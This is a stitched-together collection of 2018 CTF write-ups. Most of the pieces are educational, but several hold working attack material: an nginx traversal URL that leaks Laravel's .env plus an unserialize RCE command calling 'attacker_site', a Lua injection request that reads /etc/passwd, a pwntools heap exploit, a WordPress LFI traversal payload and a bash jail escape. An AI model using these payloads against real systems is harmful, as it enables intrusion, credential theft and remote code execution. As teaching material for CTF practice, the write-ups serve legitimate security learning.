./run_me : Here is the flag```actf{why_did_you_run_me}``` |
# Cookie Jar*Challenge
Another easy and fun challenges;This time as usual pwning worked on it:
Source Code:
[Source Code for Cookiejar.c](https://angstromctf.com/static/binary/cookie_jar/cookiePublic.c)
Solution:
Flag:```actf{eat_cookies_get_buffer}``` |
# Guess the number
Challenge:
## Format String Vulns..
I tried to make some changes and look for stack value with %p I can see the values that I changed at the adress. Great so:
went off to server and tried to see what decimal numbers in it ?Look at what I found :))First empty attemtion was to see if the sum of the rand numbers is arounde here or not. Yea there it is and second attemption for this helped us to see the real value which is addition of the values at 3rd address and 9th adress..
Flag:
```actf{format_stringz_are_pre77y_sc4ry}``` |
# REV_1
I listen to hint and run `strings` command.Cuz if you run the file you are asked for correct password.when we run the strings command to find out the strings in the rev1_file:Came across with those:```bashs3cret_pa55wordSorry, the password isn't %s. Try again!Correct! You read my mind, have a flag: /bin/cat flag
```Enter s3cret_pa55word in server side and get the flag :
```actf{r3v_is_just_gettin_started!}``` |
# REV2Challenge :
Firstly to be aware of what strings in it I run strings command and check out the flaw. Found that:I see there are two levels of reaching the flag out. In this case let go through:yeah just like what hint said I went to radare2 and analyze the main function..
```r2 -d ./rev2_32[0xf7f79c70]> aaaa #analyze all file[0xf7f79c70]> pdf@main```Here is first we need to look:
Now take attention over here row:```0x08048546 3dd7110000 cmp eax, 0x11d70x0804854b 741e je 0x804856b```Our first input get compared with 0x11d7. What that mean is in decimal system= 4567If I do enter random one it'd take me through```0x08048554 6834870408 push str.Sorry__your_guess_of__d_was_incorrect._Try_again```So I pass easily to second level. By that mean is we jump to address 0x804856b.Level 2 question is asked as you can see in the image above.We enter second input/S cuz just like in question it want 2 inputs from us
##But A rule there is ! Firstly both of our inputs get controlled if the both are in between 9 |
Static binary without libc and nc flag set. Rop2win by setting registers ecx and edi to zero, ebx to /bin/sh address and eax to 0xb. The /bin/sh string is written into the name variable, therfore giving us a constant address to use. |
# Forgotten Task Writeup
1) Get APP_KEY via nginx [alias_traversal](https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md)
`http://forgotten-task.quals.2018.volgactf.ru/laravel../.env`
2) Create session with unserialize RCE chain
`php laravel_attack.php base64:BTyS9a35xfMVYrNkvo8j0MClde4Jk6Tl/e+/+UCEyWA= "file_get_contents('http://attacker_site/rce_test');"` |
# NeverLan CTF 2018: Can you search it?
**Category:** Trivia**Points:** 100
**Description:**
>For the Vulnerability you found in question 2, There is a proof of concept. What is the string for TARGET_HAL_HEAP_ADDR_x64?
## Write-up
When I typed in google variable from task the query returned a link to a exploit on github:
>https://github.com/RussianOtter/Mobilesploit/blob/master/exploit/EternalBlue.py
And we have the variable declaration:
>TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
So our flag is:
`0xffffffffffd00010` |
# Guestbook Writeup
Lua Injection
```GET /search?search="..(io.popen('cat\x20/etc/passwd','r'):read('*a')).." HTTP/1.1Host: guestbook.quals.2018.volgactf.ru``` |
Tic Tac Toe-----------> TheEmperors learned how to play the Tic Tac Toe game and since that time,> for million of years, no one have defeated them in this game. You have to defeat> TheEmperors player 100 times to become the newest serial winner of this game. Then you will get the flag> > Link : http://web2.quals18.ctfsecurinets.com:5000
Open the link, open the developer console, and play a few games. Notice that the communication to the server happensover a Websockets connection -- specifically using the Socket.io protocol. For example, we can see the following interaction
```> ["createGame", {name: "test"}]< ["newGame",{"name":"test","room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2","player1":{"name":"test","wins":0,"loose":0,"serial_winner":0},"player2":{"name":"TheEmperors","wins":1928,"loose":10320}}]
> ["joinGame",{"ennemy_name":"TheEmperors","room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2"}]< ["player2",{"room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2"}]
> ["playTurn",{"row":"0","col":"0","player":"O","room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2"}]< ["turnPlayed",{"row":"0","col":"0","room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2","matrix":[["O","-","-"],["-","-","-"],["-","-","-"]]}]
> ["playTurn",{"row":"1","col":"1","player":"X","room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2"}]< ["turnPlayed",{"row":"1","col":"1","room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2","matrix":[["O","-","-"],["-","X","-"],["-","-","-"]]}]
...
> ["gameEnded",{"room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2","message":"Checkmate like a charm ;) TheEmperors player wins!"}]< ["gameEnd",{"room":"bd74794bd98a1904c791fa7620bc1d5b6ce176e4561dccabd121df6b58bbdfdb8d6ba6d1e99fa063a23b438e3e898cc2","message":"Checkmate like a charm ;) TheEmperors player wins!"}]```
Note that The Emperor's moves are calculated on the _client side_! This opens possibilities.
Using [socketIO-client](https://pypi.python.org/pypi/socketIO-client), we can easily write a client in Python to send exactly what wewant to the server. We simply position three 'X'-es on the diagonal, and tell the server the game is finished. The server happily acceptsthis, and starts a new game. We repeat this until the server sends us the flag.
The message/callback order is as follows:1. Client sends `createGame` message2. Server sends `newGame`, client sends `joinGame`3. Server sends `player2`, client sends `playTurn`4. Server sends `turnPlayed`. Client sends `playTurn` if moves remaining (goto 4) or `gameEnded` otherwise (goto 2)
```pythonimport logginglogging.getLogger('socketIO-client').setLevel(logging.DEBUG)logging.basicConfig()
from socketIO_client import SocketIO, LoggingNamespaceimport time
class TicTacToe: max_iters = 150 # make sure we don't keep repeating until infinity turns = [("X", 0, 0), ("X", 1, 1), ("X", 2, 2)] # three X-es on the diagonal
def __init__(self): self.iters = 0 self.client = SocketIO('ec2-54-194-213-165.eu-west-1.compute.amazonaws.com', 5000, LoggingNamespace) self.client.on('newGame', self.newGame) self.client.on('player2', self.nextTurn) self.client.on('turnPlayed', self.nextTurn)
def create_game(self): self.client.emit("createGame", {"name": "DancingSimpletons"})
def newGame(self, args): time.sleep(0.1) self.iters += 1 print("iteration ", self.iters) if (self.iters > self.max_iters): return
self.turnindex = 0 self.room = args['room'] self.enemy = args['player2']['name'] self.client.emit("joinGame", {"ennemy_name": self.enemy, "room": self.room})
def nextTurn(self, args): if (self.turnindex == len(self.turns)): return self.lastTurn(args)
(player, row, col) = self.turns[self.turnindex] self.turnindex += 1
self.client.emit("playTurn", { 'row': row, 'col': col, 'player': player, 'room': self.room })
def lastTurn(self, args): self.client.emit("gameEnded", { 'message': 'whatever', 'room': self.room })
t = TicTacToe()t.create_game()t.client.wait(seconds=100)```
When we run this, we get (NB. 'packet sent' are sent messages, while 'message' indicates a received message)```[engine.io transport selected] websocket[engine.io heartbeat reset][socket.io packet sent] 2["createGame", {"name": "DancingSimpletons"}][engine.io message] b'0'[socket.io packet received] b'0'[socket.io connect][socket.io connected][engine.io pong] b''[engine.io message] b'2["newGame",{"name":"DancingSimpletons","room":"1bb964113bde07dbc4c5d0f7eba56508421b52bfe7d84ea2d506edbc413e20d6ade3f0e202db9e34040a43d66352ec5b","player1":{"name":"DancingSimpletons","wins":0,"loose":0,"serial_winner":0},"player2":{"name":"TheEmperors","wins":1956,"loose":10445}}]'[...][socket.io packet sent] 2["gameEnded", {"message": "whatever", "room": "1bb964113bde07dbc4c5d0f7eba56508421b52bfe7d84ea2d506edbc413e20d6ade3f0e202db9e34040a43d66352ec5b"}][engine.io message] b'2["newGame",{"room":"1bb964113bde07dbc4c5d0f7eba56508421b52bfe7d84ea2d506edbc413e20d6ade3f0e202db9e34040a43d66352ec5b","player1":{"name":1,"wins":1,"loose":0,"serial_winner":1},"player2":{"name":"TheEmperors","wins":1956,"loose":10446}}]'[...][socket.io packet received] b'2["newGame",{"room":"1a35dc1c9fef1f3e68be621a11582bf25db8cffe611ec33afe3465fbfd54b5ae570bf55a068dc56a89fab1be91f37890","player1":{"name":100,"wins":100,"loose":0,"serial_winner":100},"player2":{"name":"TheEmperors","wins":1961,"loose":10651}}]'[...][socket.io packet sent] 2["gameEnded", {"message": "whatever", "room": "1a35dc1c9fef1f3e68be621a11582bf25db8cffe611ec33afe3465fbfd54b5ae570bf55a068dc56a89fab1be91f37890"}][engine.io message] b'2["getMyLovelyFlag","Flag{S9ck3t_I0_set_by_Th3_EMPIRE_NIAHAHAHAHAHAHA_xD}"]'[socket.io packet received] b'2["getMyLovelyFlag","Flag{S9ck3t_I0_set_by_Th3_EMPIRE_NIAHAHAHAHAHAHA_xD}"]'[socket.io event] getMyLovelyFlag('Flag{S9ck3t_I0_set_by_Th3_EMPIRE_NIAHAHAHAHAHAHA_xD}')```
Success! |
# Nini (40 PTS)### Description
>What is the most important prize she honored?>>The flag is SharifCTF{MD5(lowercase(Prize name))}.
Flag: ```SharifCTF{537cd12c5f65d15dd11cc5d7f27127a8}```
### Files
- [Nini.jpg](https://github.com/VoidHack/write-ups/blob/master/SharifCTF%208/misc/nini/Nini.jpg)
### Solution
It looks like a recon task, so... Google is our assistant.
Great! But I don't know what language is it, so maybe Google also knows a translation?
```Maryam Mirzakhani and her husband```
He actually knows! (not expected huh?)
It's time for Wikipedia now. What does it say?
#### Awards and honors:
- Gold medal. International Mathematical Olympiad (Hong Kong 1994)- Gold medal. International Mathematical Olympiad (Canada 1995)- IPM Fellowship, Tehran, Iran, 1995–1999- Merit fellowship Harvard University, 2003- Harvard Junior Fellowship Harvard University, 2003- Clay Mathematics Institute Research Fellow 2004- AMS Blumenthal Award 2009- Invited to talk at the International Congress of Mathematicians in 2010- The 2013 AMS Ruth Lyttle Satter Prize in Mathematics- Simons Investigator Award 2013- Named one of Nature magazine's ten "people who mattered" of 2014- Clay Research Award 2014- Plenary speaker at the International Congress of Mathematicians (ICM 2014)- Fields Medal 2014- Elected foreign associate to the French Academy of Sciences in 2015- Elected to the American Philosophical Society in 2015- National Academy of Sciences 2016- Elected to the American Academy of Arts and Sciences in 2017
You can try it all or just pick ```Fields Medal 2014``` ;)
So, according on description we can construct the flag!
```SharifCTF{md5(fields medal)}``` |
It looks like a lot of characters are filtered out.
Running this reveals chars which are left: ;1234567890-=qwertyuiop[]\asdfghjkl;'zxcvbnm,./`~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?bash: -c: line 0: syntax error near unexpected token `;'bash: -c: line 0: `;-;#$^_+QWERTYUIOP{}|ASDFGHJKL:ZXCVBNM<>'
Let's check the environment variable `_`:> `${_}`declare -x A="T"declare -x AB="HI"declare -x ABC="ISN"declare -x ABCD="OTTH"declare -x ABCDE="EFLAG"declare -x ABCDEF="BUTMAY"declare -x ABCDEFG="BEITCAN"declare -x ABCDEFGH="HELPGETT"declare -x ABCDEFGHI="INGFLAG:D"declare -x OLDPWDdeclare -x PWD="/home/special"declare -x SHELL=""declare -x SHLVL="1"declare -x _="export"
Finally: ${PWD:${#ABCDEF}:${#A}}${PWD:${#A}:${#A}}^ parses to 'sh'
Flag{B4sh_subst1tut1on_is_gud!} |
# Lone Author
**Unfortunately we were only able to solve this challenge after the CTF ended. No tasks were available anymore, so I couldn't get the challenge text :(**
The gist of the challenge (as far as I remember): *Something happened and the lone_author.zip file was found/recovered or whatever.*
We'll have to find the flag in this zip file.
## The lone_author Zip file
So we have a Zip file... Let's see what happens if we look try to unzip
``` console$ unzip lone_author.zipArchive: lone_author.zip End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive.note: lone_author.zip may be a plain executable, not an archiveunzip: cannot find zipfile directory in one of lone_author.zip or lone_author.zip.zip, and cannot find lone_author.zip.ZIP, period.```Ok... I don't know what I expected...
So what's up with this 'zip', let's look at the raw data.```console$ xxd -l 256 lone_author.zip00000000: 504b 4603 0414 0000 0008 0059 8a75 4cef PKF........Y.uL.00000010: 0bc5 ad41 1f00 00d2 6202 0009 001c 0071 ...A....b......q00000020: 725f 7073 2e74 6966 5554 0900 03e9 85b2 r_ps.tifUT......00000030: 5aec 85b2 5a75 780b 0001 04e8 0300 0004 Z...Zux.........00000040: e803 0000 ec3a 095c 1357 9f2f 9c8a 80a2 .....:.\.W./....00000050: 58ad 7e6a 5494 7a84 9084 2410 3914 44c5 X.~jT.z...$.9.D.00000060: ca21 2078 21df 6432 0929 4926 2613 4014 .! x!.d2.)I&&[email protected]: e2d5 5a6d d5ad a2d6 abb4 56a5 722e d60b ..Zm......V.r...```Ok, so [this is what wikipedia says](https://en.wikipedia.org/wiki/Zip_(file_format)) about the ZIP format:<table> <tbody> <tr> <th>Offset</th> <th>Bytes</th> <th>Description</th> </tr> <tr> <td>0</td> <td>4</td> <td>Local file header signature = 0x04034b50 (read as a little-endian number)</td> </tr> </tbody></table>
What we have `50 4b 46 03 04` vs what we expect `50 4b 03 04`. So we have a byte extra, that's weird. Do the other headers have an extra byte as well?```50 4B 46 03 0450 4B 61 03 0450 4B 67 03 0450 4B 7B 03 0450 4B 4D 07 0850 4B 33 01 0250 4B 33 05 0650 4B 74 01 0250 4B 5F 4D 01 0250 4B 33 01 0250 4B 5F 31 05 06```So apparently some had 2 extra bytes (between the 0x504B and the second half of the ID), but they are all printable ASCII characters.All extra bytes combine to `46 61 67 7B 4D 33 33 74 5F 33 5F`, which can be represented as `Flag{M33t_M3_1` too.
Alright! However, that only seems to be half of a flag. Let's continue :)
## Lone Author zip, continued
So we know that the headers are not correct, so will the ZIP be valid if we just remove all these extra bytes from the headers?
**_Spoiler alert_**: it is :D
Unzipping gives us three files:- some file named `0e68542470`- a TIFF file named `qr_ps.tif`- another ZIP file named `secret.zip`
### secret.zipOk, secret.zip contains an image. But it also is password protected =( I guess the other files will get us the password.
### the 0e68542470 fileOkay, let's just hexdump this puppy```console$ xxd 0e6854247000000000: 4d61 6e2c 2079 6f75 2068 6176 6520 746f Man, you have to00000010: 2074 6869 7320 7468 6973 2054 4946 4621 this this TIFF!```Okay... i have to do what to the TIFF? Let's just open the TIFF and see.
### the qr_ps.tifOpening the TIFF file shows us this partial qr code:
Hmm, I think this qr code is beyond saving. So let's just look at the file, maybe there is something besides the image itself.
Things like binwalk or file don't really show things that catch my eye. So maybe just look at the raw data, maybe there is something there. A quick scan through the whole file doesn't show much of interest. So let's just go through the metadata a bit more carefully.```console00000000: 4949 2a00 0800 0000 1600 fe00 0400 0100 II*.............00000010: 0000 0000 0000 0001 0300 0100 0000 af00 ................00000020: 0000 0101 0300 0100 0000 af00 0000 0201 ................00000030: 0300 0400 0000 1601 0000 0301 0300 0100 ................00000040: 0000 0100 0000 0601 0300 0100 0000 0200 ................00000050: 0000 1101 0400 0100 0000 4e84 0000 1201 ..........N.....00000060: 0300 0100 0000 0100 0000 1501 0300 0100 ................00000070: 0000 0400 0000 1601 0300 0100 0000 af00 ................00000080: 0000 1701 0400 0100 0000 84de 0100 1a01 ................00000090: 0500 0100 0000 1e01 0000 1b01 0500 0100 ................000000a0: 0000 2601 0000 1c01 0300 0100 0000 0100 ..&.............000000b0: 0000 2801 0300 0100 0000 0200 0000 3101 ..(...........1.000000c0: 0200 2200 0000 2e01 0000 3201 0200 1400 ..".......2.....000000d0: 0000 5001 0000 5201 0300 0100 0000 0100 ..P...R.........000000e0: 0000 bc02 0100 4a1c 0000 6401 0000 4986 ......J...d...I.000000f0: 0100 c218 0000 ae1d 0000 6987 0400 0100 ..........i.....00000100: 0000 2484 0000 5c93 0700 b44d 0000 7036 ..$...\....M..p600000110: 0000 0000 0000 0800 0800 0800 0800 80fc ................00000120: 0a00 1027 0000 80fc 0a00 1027 0000 4164 ...'.......'..Ad00000130: 6f62 6520 5068 6f74 6f73 686f 7020 4343 obe Photoshop CC00000140: 2032 3031 3520 2857 696e 646f 7773 2900 2015 (Windows).00000150: 3230 3138 3a30 333a 3231 2031 373a 3034 2018:03:21 17:0400000160: 3a30 3400 3c3f 7870 6163 6b65 7420 6265 :04..<x:xmp000001a0: 6d65 7461 2078 6d6c 6e73 3a78 3d27 6164 meta xmlns:x='ad000001b0: 6f62 653a 6e73 3a6d 6574 612f 2720 783a obe:ns:meta/' x:000001c0: 786d 7074 6b3d 2749 6d61 6765 3a3a 4578 xmptk='Image::Ex000001d0: 6966 546f 6f6c 2031 302e 3735 273e 0a3c ifTool 10.75'>.<000001e0: 7264 663a 5244 4620 786d 6c6e 733a 7264 rdf:RDF xmlns:rd000001f0: 663d 2768 7474 703a 2f2f 7777 772e 7733 f='http://www.w300000200: 2e6f 7267 2f31 3939 392f 3032 2f32 322d .org/1999/02/22-00000210: 7264 662d 7379 6e74 6178 2d6e 7323 273e rdf-syntax-ns#'>00000220: 0a0a 203c 7264 663a 4465 7363 7269 7074 .. <rdf:Descript00000230: 696f 6e20 7264 663a 6162 6f75 743d 2727 ion rdf:about=''00000240: 0a20 2078 6d6c 6e73 3a64 633d 2768 7474 . xmlns:dc='htt00000250: 703a 2f2f 7075 726c 2e6f 7267 2f64 632f p://purl.org/dc/00000260: 656c 656d 656e 7473 2f31 2e31 2f27 3e0a elements/1.1/'>.00000270: 2020 3c64 633a 666f 726d 6174 3e69 6d61 <dc:format>ima00000280: 6765 2f74 6966 663c 2f64 633a 666f 726d ge/tiff</dc:form00000290: 6174 3e0a 203c 2f72 6466 3a44 6573 6372 at>. </rdf:Descr000002a0: 6970 7469 6f6e 3e0a 0a20 3c72 6466 3a44 iption>.. <rdf:D000002b0: 6573 6372 6970 7469 6f6e 2072 6466 3a61 escription rdf:a000002c0: 626f 7574 3d27 270a 2020 786d 6c6e 733a bout=''. xmlns:000002d0: 7064 663d 2768 7474 703a 2f2f 6e73 2e61 pdf='http://ns.a000002e0: 646f 6265 2e63 6f6d 2f70 6466 2f31 2e33 dobe.com/pdf/1.3000002f0: 2f27 3e0a 2020 3c70 6466 3a41 7574 686f /'>. <pdf:Autho00000300: 723e 5061 7373 776f 7264 2074 6f20 7468 r>Password to th00000310: 6520 7365 636f 6e64 2070 6172 7420 6973 e second part is00000320: 2030 784e 4f58 2a2a 3c2f 7064 663a 4175 0xNOX**</pdf:Au00000330: 7468 6f72 3e0a 203c 2f72 6466 3a44 6573 thor>. </rdf:Des00000340: 6372 6970 7469 6f6e 3e0a 0a20 3c72 6466 cription>.. <rdf00000350: 3a44 6573 6372 6970 7469 6f6e 2072 6466 :Description rdf00000360: 3a61 626f 7574 3d27 270a 2020 786d 6c6e :about=''. xmln00000370: 733a 7068 6f74 6f73 686f 703d 2768 7474 s:photoshop='htt00000380: 703a 2f2f 6e73 2e61 646f 6265 2e63 6f6d p://ns.adobe.com00000390: 2f70 686f 746f 7368 6f70 2f31 2e30 2f27 /photoshop/1.0/'000003a0: 3e0a 2020 3c70 686f 746f 7368 6f70 3a43 >. <photoshop:C000003b0: 6f6c 6f72 4d6f 6465 3e33 3c2f 7068 6f74 olorMode>3</phot000003c0: 6f73 686f 703a 436f 6c6f 724d 6f64 653e oshop:ColorMode>000003d0: 0a20 3c2f 7264 663a 4465 7363 7269 7074 . </rdf:Descript000003e0: 696f 6e3e 0a0a 203c 7264 663a 4465 7363 ion>.. <rdf:Desc000003f0: 7269 7074 696f 6e20 7264 663a 6162 6f75 ription rdf:abou00000400: 743d 2727 0a20 2078 6d6c 6e73 3a78 6d70 t=''. xmlns:xmp00000410: 3d27 6874 7470 3a2f 2f6e 732e 6164 6f62 ='http://ns.adob00000420: 652e 636f 6d2f 7861 702f 312e 302f 273e e.com/xap/1.0/'>00000430: 0a20 203c 786d 703a 4372 6561 7465 4461 . <xmp:CreateDa00000440: 7465 3e32 3031 382d 3033 2d32 3154 3136 te>2018-03-21T1600000450: 3a35 333a 3031 2b30 313a 3030 3c2f 786d :53:01+01:00</xm00000460: 703a 4372 6561 7465 4461 7465 3e0a 2020 p:CreateDate>.```I spy with my little eye...
```console000002f0: 2f27 3e0a 2020 3c70 6466 3a41 7574 686f /'>. <pdf:Autho00000300: 723e 5061 7373 776f 7264 2074 6f20 7468 r>Password to th00000310: 6520 7365 636f 6e64 2070 6172 7420 6973 e second part is00000320: 2030 784e 4f58 2a2a 3c2f 7064 663a 4175 0xNOX**</pdf:Au00000330: 7468 6f72 3e0a 203c 2f72 6466 3a44 6573 thor>. </rdf:Des00000340: 6372 6970 7469 6f6e 3e0a 0a20 3c72 6466 cription>.. |
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|
# looserHere's the challenge:
[flag.png.crypt](https://github.com/ozancetin/CTF-Writeups/blob/master/2018/Securinets%20CTF%20Quals%202018/looser/flag.png.crypt?raw=true)
I thought it can be single byte xor and I wrote a clear python2 script:
```python
import binasciifilename = 'flag.png.crypt'with open(filename, 'rb') as f: content = f.read()XORdata = binascii.hexlify(content)
cipher = (XORdata).decode('hex')
for i in range(0x00,0xff): result = "" for j in cipher: result += chr(i^ord(j)) if 'PNG' in result: solved = open("flag.png","w") solved.write(result) solved.close()```
It worked and here's the flag.png
 |
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>boobs</span> </div>
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<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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|
# Magic test (Web)
In the task we get a very simple webpage where we can input a name and birthday.We get source code of the server part as well:
```javascriptconst express = require('express')const app = express()
function getTimestamp(date) { try{ var x = Math.floor((new Date(date)) / 1000); return x; } catch( e ){ return Math.floor((new Date()) / 1000); }}
function getAsciiCode(str){ var arr1 = []; for (var n = 0; n < str.length; n ++) { var ascii = Number(str.charCodeAt(n)); arr1.push(ascii); } return arr1.join('');}
app.get('/:username/:birth_day', (req, res) => { flag = '************'; username = req.params.username || ''; birthDay = req.params.birth_day || '';
console.log(username); console.log(birthDay); var priority = Math.pow(2, getAsciiCode(username) + getTimestamp(birthDay)); if(priority >= 0) { res.send('Hey peasent, no flag for you !!'); } else { res.send('Your magical powers have been proven, here is your flag: ' + flag ); }});
app.listen(3000, () => console.log('Node Task app listening on port 3000!'));```
It's clear we need to bypass the check and therefore the value of `Math.pow(2, getAsciiCode(username) + getTimestamp(birthDay))` needs to be `< 0`.Initially we simply wanted to send a non-date string as birthday (eg. some text), causing the result of `getTimestamp` to be `NaN`, but there must have been some validation of the input format.In the end it worked as we wanted for string `2018-01-32` and we got `Flag{PhP_H4s_seCuriTY_issues_THEY-Said!!!}` |
```from pwn import *import timecontext.terminal=['tmux', 'splitw', '-h']context.log_level="debug"p = remote("51.15.73.163", 8888)
#p = process("./service.o")#gdb.attach(p)
def add_note(title, note, body=False, l=0x90-160): p.sendline("1") p.recvuntil("Enter note length> ") p.sendline(str(l)) p.recvuntil("Enter title> ") p.sendline(title) p.recvuntil("Enter note body> ") if body!=False: p.sendline(note) p.recvuntil def delete_note(index, shell=False): p.sendline("2") if shell==False: p.recvuntil("Enter note index> ") p.sendline(str(index)) p.recvuntil("> \n") else: p.interactive() def edit_note(index, title, body): p.sendline("3") p.recvuntil("Enter note index> ") p.sendline(str(index)) p.recvuntil("Enter title> ") p.sendline(title) p.recvuntil("Enter note body> ") p.sendline(body) p.recvuntil("> \n") def print_note(index): p.sendline("4") p.recvuntil("Enter note index> ") p.sendline(str(index)) d = p.recvuntil("> \n") print d return d def exit_prog(): p.sendline("5")
p.recv(1024)
add_note("A"*0x8f, "")add_note("B"*0x8f, "")add_note("C"*0x8f, "")add_note("D"*0x8f, "")add_note("E"*0x8f, "")add_note("F"*0x8f, "")delete_note(4)delete_note(2)delete_note(0)
heapbase = print_note(1)[0x9f:0xa3]log.info(heapbase.encode("hex"))heapbase = heapbase.replace("\n","\x00")log.info(heapbase.encode("hex"))heapbase = u32(heapbase + "\x00"*(4-len(heapbase)))-0x280
log.info("Heap base @: " + hex(heapbase))
delete_note(1)delete_note(3)delete_note(5)
payload = "A"*0x80 + \ p64(0) + \ p64(0xffffffffffffffff)
add_note(payload, "", l=0x80-160)
offset = 0xcafeb000+0x8*5 - 0x8*2 - (heapbase + 0xa0)add_note("B"*158,"", l = offset-160)add_note(p64(0xcafeb0e0)+p64(0xcafeb0c0)+p64(0xdeadb038) + p64(0xdeadb040) + "GIMMETHEFLAG" , "")p.sendline("6")p.recv(1024)print_note(4)``` |
Magic_Test----------> Even Magic is all about scientific proof these days, prove your magic powers and defy laws of math ! you can read the source code (http://web2.quals18.ctfsecurinets.com/server.js) to have a better understanding of what i mean.>> Link : http://web1.quals18.ctfsecurinets.com
Let's take a look at the web page first.
The server js has this check to get the flag:``` javascriptvar priority = Math.pow(2, getAsciiCode(username) + getTimestamp(birthDay)); if(priority >= 0) { res.send('Hey peasent, no flag for you !!');}else { res.send('Your magical powers have been proven, here is your flag: ' + flag );}```Ok, so what does javascripts `Math.pow()` return? [MDN says:](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow)``` javascript// simpleMath.pow(7, 2); // 49Math.pow(7, 3); // 343Math.pow(2, 10); // 1024// fractional exponentsMath.pow(4, 0.5); // 2 (square root of 4)Math.pow(8, 1/3); // 2 (cube root of 8)Math.pow(2, 0.5); // 1.4142135623730951 (square root of 2)Math.pow(2, 1/3); // 1.2599210498948732 (cube root of 2)// signed exponentsMath.pow(7, -2); // 0.02040816326530612 (1/49)Math.pow(8, -1/3); // 0.5// signed basesMath.pow(-7, 2); // 49 (squares are positive)Math.pow(-7, 3); // -343 (cubes can be negative)Math.pow(-7, 0.5); // NaN (negative numbers don't have a real square root)// due to "even" and "odd" roots laying close to each other, // and limits in the floating number precision, // negative bases with fractional exponents always return NaNMath.pow(-7, 1/3); // NaN```Since we can basically fill in any date, let's give it some data to make `Math.pow()` return NaN.We can easily check it in the console of our browser by copying the main parts from the server.js
``` javascriptfunction getTimestamp(date) { try{ var x = Math.floor((new Date(date)) / 1000); return x; } catch( e ){ return Math.floor((new Date()) / 1000); }}
function getAsciiCode(str){ var arr1 = []; for (var n = 0; n < str.length; n ++) { var ascii = Number(str.charCodeAt(n)); arr1.push(ascii); } return arr1.join('');}var priority = Math.pow(2, getAsciiCode("HorseEgg") + getTimestamp("1001-01-01"));console.log(priority);//Output: NaN```Using a date before 1970-01-01 will result in a negative value for the Timestamp, which will be concatenated to the result of the getAsciiCode function. This this _beautifully_ ends up as:``` javascriptgetAsciiCode("HorseEgg") + getTimestamp("1001-01-01")//output: "7211111411510169103103-30578688000"```Since `Math.pow(2, "7211111411510169103103-30578688000")` results in `NaN`, we get the flag: `Flag{PhP_H4s_seCuriTY_issues_THEY-Said!!!}` |
# NeverLan CTF 2018: What the LFI?
**Category:** Web Exploitation**Points:** 200
**Description:**
>There is a file located at /var/www/blah.php Get that file to execute to retrieve the flag.
>http://54.201.224.15:14099
## Write-up
Ok, so we looking for some LFI.
We have some links `?feed=rss2 / ?p=1 / ?m=201802` but there is no LFI..
As we see this can be site on wordpress engine:>\<meta name="generator" content="WordPress 4.9.4" /\>
So we can try wp-scan...and there is our LFI! We have outdated plugin here.
[!] Title: SAM Pro (Free Edition) <= 1.9.6.67 - Local File Inclusion (LFI) Reference: https://wpvulndb.com/vulnerabilities/8647 Reference: https://www.pluginvulnerabilities.com/2016/10/28/local-file-inclusion-lfi-vulnerability-in-sam-pro-free-edition/ Reference: https://plugins.trac.wordpress.org/changeset/1526624/sam-pro-free
Let's do this.
**Step 1:**
`echo -n 'test.php' | base64`
`http://54.201.224.15:14099/wp-content/plugins/sam-pro-free/sam-pro-ajax-admin.php?action=NA&wap=dGVzdC5waHA=`
>No such file or directory in /var/www/html/wp-content/plugins/sam-pro-free/sam-pro-ajax-admin.php
**Step 2:**
Let's craft good directory.
`echo -n '../../../../blah.php' | base64`
`http://54.201.224.15:14099/wp-content/plugins/sam-pro-free/sam-pro-ajax-admin.php?action=NA&wap=Li4vLi4vLi4vLi4vYmxhaC5waHA=`
That's all, the flag is `flag{dont_include_files_derived_from_user_input_kthx_bai}`. |
[https://rawsec.ml/en/NeverLAN-CTF-2018-writeups/#50-more-basic-math-scripting](https://rawsec.ml/en/NeverLAN-CTF-2018-writeups/#50-more-basic-math-scripting) |
# CTFSecurinets Quals 2018 WriteupThis repository serves as a writeup for CTFSecurinets Quals 2018
## IRC
**Category:** Misc**Points:** 50**Author:** CTF Team**Description:**
>Join the IRC chat! You will find your lovely flag waiting for you.
**Hint:**
>The link to joining the IRC tab ;) Make sure you read the info channel.
### Write-upYou have to join the IRC channel by clicking the IRC tab and then connecting to the [#ctf_securinets channel](https://www.ctfsecurinets.com/irc) to find the flag in the description.
So the flag is : ```Flag{W3Lc0m3_T0_CTFSecurinets_Quals_2018}```.
___
## Service Hidden in the bush
**Category:** Network**Points:** 200**Author:** TheEmperors**Description:**
>The Emperors wanted to hide their secret in a location where they can read it quickly, But they don't know anything about Security. Try to expose it: net1.quals18.ctfsecurinets.com
**Hint:**
>If this task will be absused by any of the teams, the flag will be published here !
### Write-upThe name of the task contains the word service. And it's a network task. It seems that there is a network scan searching for a service.
To do that, we have to use a tool that scan the domain name ports to find out which service is.
So we have to launch a detailed scan targetting only the port discovery:
```nmap net1.quals18.ctfsecurinets.com -p 1-20000```
